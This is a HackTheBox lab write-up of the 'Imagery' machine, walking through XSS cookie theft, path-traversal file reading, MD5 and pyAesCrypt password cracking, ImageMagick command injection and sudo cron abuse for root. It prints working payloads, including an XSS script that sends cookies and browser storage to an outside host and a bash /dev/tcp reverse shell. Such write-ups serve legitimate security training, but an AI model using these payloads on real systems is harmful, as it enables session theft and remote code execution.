Pentest Writeups | Hugo Beaulieu

A collection of writeups for HackTheBox and CTF competitions.

View on GitHub
3 October 2025

Imagery

by Hugo Beaulieu

Overview

Imagery is a Linux machine running a Flask-based image gallery application. The exploitation chain involves client-side XSS to steal admin cookies, local file inclusion to extract source code and database credentials, hash cracking to access test features, and finally command injection through ImageMagick to gain a reverse shell. Privilege escalation is achieved through a custom sudo binary that allows cron job manipulation.

Initial Enumeration

Nmap Scan

We start with an nmap scan to discover open ports:

nmap -sV -v 10.129.6.108

Results:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH
8000/tcp open  http    Werkzeug/3.1.3 Python/3.12.7

The target is running a Python web application using the Werkzeug development server on port 8000.

Web Application Discovery

Accessing the homepage at http://imagery.htb:8000 reveals an image gallery application with the following features:

Technology Stack

Using whatweb, we identify:

Werkzeug/3.1.3 Python/3.12.7

Directory Enumeration

Running gobuster reveals several endpoints:

gobuster dir -u http://imagery.htb:8000 -w wordlist.txt

Discovered paths:

/images (Status: 401) [Size: 59]
/login (Status: 405) [Size: 153]
/register (Status: 405) [Size: 153]
/logout (Status: 405) [Size: 153]
/upload_image (Status: 405) [Size: 153]

Application Analysis

Registration and Upload Features

After registering an account, we gain access to:

We attempt LFI fuzzing on the download URL but without initial success.

Bug Report Feature

In the footer, we find a “Report Bug” link:

POST http://imagery.htb:8000/report_bug

This could potentially be exploited with XSS if an admin reviews bug reports.

Additional Endpoints Discovery

Through network tab analysis, we discover:

GET http://imagery.htb:8000/auth_status?_t=1759358655988
GET http://imagery.htb:8000/get_image_collections

Source Code Analysis

Examining the JavaScript reveals hidden functionality:

Pages:

Variables:

Test Endpoints:

Admin Endpoints:

Client-Side Access Control Bypass Attempt

We try to access the admin panel by manipulating client-side JavaScript:

// Set admin flags
isAdmin = true;
loggedInUserIsTestUser = true;
loggedInEmail = "test@test.com";
loggedInUserDisplayId = "ADMIN";

// Override the checkAuthStatus function
checkAuthStatus = async function (updateUI = true) {
  return { loggedIn: true, isAdmin: true, isTestuser: true };
};

// Navigate to admin panel
document.getElementById("adminPanelPage").style.display = "flex";
document.getElementById("admin-not-logged-in").style.display = "none";
document.getElementById("admin-content-wrapper").style.display = "block";

navigateTo("adminPanel");

Result: We get 403 Forbidden on http://imagery.htb:8000/admin/users, but we can now access test features from the gallery page. However, test features also return 403 Forbidden, confirming server-side validation is in place.

XSS Attack to Steal Admin Cookies

Identifying the Vulnerability

Reviewing the source code, we notice that the bug report form sanitizes most fields using DOMPurify.sanitize(), but report.details is not sanitized, creating an XSS vulnerability.

XSS Payload

We craft a payload to steal the admin’s cookies, local storage, and session data:

<img
  src="x"
  onerror="(async function(){
  const YOUR_SERVER_IP = '10.10.10.10';

  try {
    // Collect User-Agent
    let userAgent = navigator.userAgent;

    // Collect Cookies
    let cookies = document.cookie;

    // Collect Local Storage Data
    let localStorageData = {};
    for (let i = 0; i < localStorage.length; i++) {
      let key = localStorage.key(i);
      localStorageData[key] = localStorage.getItem(key);
    }

    // Collect Session Storage Data
    let sessionStorageData = {};
    for (let i = 0; i < sessionStorage.length; i++) {
      let key = sessionStorage.key(i);
      sessionStorageData[key] = sessionStorage.getItem(key);
    }

    // Collect Document Properties
    let documentData = {
      title: document.title,
      url: document.URL,
      referrer: document.referrer,
      domain: document.domain
    };

    // Create final data object
    let data = {
      userAgent: userAgent,
      cookies: cookies,
      localStorage: localStorageData,
      sessionStorage: sessionStorageData,
      document: documentData,
      fileContents: 'N/A - file:// not accessible from browser context'
    };

    // Send the data to your server
    let img = new Image();
    img.src = 'http://' + YOUR_SERVER_IP + ':5555/?allData=' + encodeURIComponent(JSON.stringify(data));

  } catch (error) {
    let img = new Image();
    img.src = 'http://' + YOUR_SERVER_IP + ':5555/?error=' + encodeURIComponent(error.toString());
  }
})()"
/>

After submitting this payload via the bug report form and waiting for the admin to review it, we successfully capture their session cookies and can log in as admin.

Local File Inclusion

Admin Log Download Feature

As admin, we discover a “Download Log” button:

http://imagery.htb:8000/admin/get_system_log?log_identifier=admin@imagery.htb.log

LFI Exploitation

Testing for LFI with path traversal:

http://imagery.htb:8000/admin/get_system_log?log_identifier=../../../../../../../etc/passwd

Success! We can read /etc/passwd:

root:x:0:0:root:/root:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash
web:x:1001:1001::/home/web:/bin/bash

We identify two users: mark and web.

Extracting Application Source Code

We extract the Python application files:

http://imagery.htb:8000/admin/get_system_log?log_identifier=../app.py

Discovered files:

Password Hashing Discovery

In utils.py, we find the password hashing method:

def _hash_password(password):
    return hashlib.md5(password.encode()).hexdigest()

The application uses MD5 for password hashing (weak!).

Database Extraction

From config.py, we find:

DATA_STORE_PATH = 'db.json'

We download the database:

http://imagery.htb:8000/admin/get_system_log?log_identifier=../db.json

Contents:

{
  "users": [
    {
      "username": "admin@imagery.htb",
      "password": "[REDACTED-MD5-HASH]",
      "isAdmin": true,
      "displayId": "a1b2c3d4",
      "login_attempts": 0,
      "isTestuser": false,
      "failed_login_attempts": 0,
      "locked_until": null
    },
    {
      "username": "testuser@imagery.htb",
      "password": "[REDACTED-MD5-HASH]",
      "isAdmin": false,
      "displayId": "e5f6g7h8",
      "login_attempts": 0,
      "isTestuser": true,
      "failed_login_attempts": 0,
      "locked_until": null
    }
  ]
}

Hash Cracking

We crack the MD5 hashes using hashcat:

hashcat -m 0 -a 0 hash.txt rockyou.txt -w 4

Result:

2c65c8d7bfbca32a3ed42596192384f6:[REDACTED]

We successfully crack the testuser password: [REDACTED]

Command Injection via ImageMagick

Analyzing the Source Code

After logging in as testuser@imagery.htb, we analyze api_edit.py more closely and find a critical vulnerability at line 44:

command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

The use of shell=True with user-controlled input creates a command injection vulnerability!

Exploitation

We set up a netcat listener:

nc -lvnp 1234

Then send a malicious crop request via Burp:

{
  "imageId": "ec8b0bef-73e6-436b-bcc2-cc933c05fec1",
  "transformType": "crop",
  "params": {
    "x": "0",
    "y": "0",
    "width": "100",
    "height": "100; bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'; #"
  }
}

We successfully get a reverse shell as the web user!

Lateral Movement to Mark

Discovering Credentials

In the bot/admin.py file, we find hardcoded credentials:

CHROME_BINARY = "/usr/bin/google-chrome"
USERNAME = "admin@imagery.htb"
PASSWORD = "[REDACTED]"
BYPASS_TOKEN = "K7Zg9vB$24NmW!q8xR0p%tL!"
APP_URL = "http://0.0.0.0:8000"

The password doesn’t work for mark, so we continue enumeration.

LinPEAS Findings

Running LinPEAS reveals:

flaskapp.service loaded active running Flask Application Service

/var/backup/web_20250806_120723.zip.aes

The systemd service file shows an environment variable:

Environment="CRON_BYPASS_TOKEN=K7Zg9vB$24NmW!q8xR0p%tL!"

Decrypting the Backup

We discover the backup is encrypted with pyAesCrypt:

hexdump -C backup.zip.aes | head -n 5

Output shows:

00000000  41 45 53 02 00 00 1b 43  52 45 41 54 45 44 5f 42  |AES....CREATED_B|
00000010  59 00 70 79 41 65 73 43  72 79 70 74 20 36 2e 31  |Y.pyAesCrypt 6.1|

We create a Python script to brute-force the password:

#!/usr/bin/env python3
import pyAesCrypt
import sys

def crack_password(encrypted_file, wordlist, output_file):
    buffer_size = 64 * 1024

    with open(wordlist, 'r', encoding='latin-1', errors='ignore') as wl:
        for i, password in enumerate(wl, 1):
            password = password.strip()

            if i % 100 == 0:
                print(f"[*] Tried {i} passwords...", end='\r')

            try:
                pyAesCrypt.decryptFile(
                    encrypted_file,
                    output_file,
                    password,
                    buffer_size
                )
                print(f"\n[+] SUCCESS! Password: {password}")
                return password
            except ValueError:
                continue
            except Exception as e:
                continue

    print("\n[-] Password not found")
    return None

if __name__ == "__main__":
    crack_password("backup.zip.aes", "/home/bhugo97/.pentest-toolbox/wordlists/rockyou.txt", "backup.zip")

Running the script:

python decrypt.py

Result:

[+] SUCCESS! Password: [REDACTED]

Extracting Mark’s Credentials

Inside the decrypted backup, we find another db.json with mark’s hash:

{
  "username": "mark@imagery.htb",
  "password": "[REDACTED-MD5-HASH]",
  "displayId": "868facaf",
  "isAdmin": false
}

Cracking with hashcat:

hashcat -m 0 -a 0 hash.txt rockyou.txt -w 4

Result:

01c3d2e5bdaf6134cec0a367cf53e535:[REDACTED]

We can now SSH as mark:

ssh mark@imagery.htb
# Password: [REDACTED]

We retrieve the user flag!

Privilege Escalation to Root

Sudo Analysis

Running sudo -l reveals:

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

Charcol Binary Investigation

The charcol binary is a custom backup tool. We discover it has an “auto” feature for creating cron jobs:

auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]

Important note from the help:

Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.

Blocked Paths

Trying to directly read /root/root.txt is blocked:

charcol> backup -i /root/root.txt
[ERROR] Blocking direct access to critical system file: '/root/root.txt'

Exploitation via Cron

We create a cron job that reads the root flag and writes it to /tmp:

sudo /usr/local/bin/charcol auto add \
  --schedule "* * * * *" \
  --command "cat /root/root.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt" \
  --name "getflag"

After waiting for the cron job to execute, we can read the flag:

cat /tmp/flag.txt

Root flag obtained!

Key Takeaways

tags: linux - web - xss - lfi - command-injection - python - flask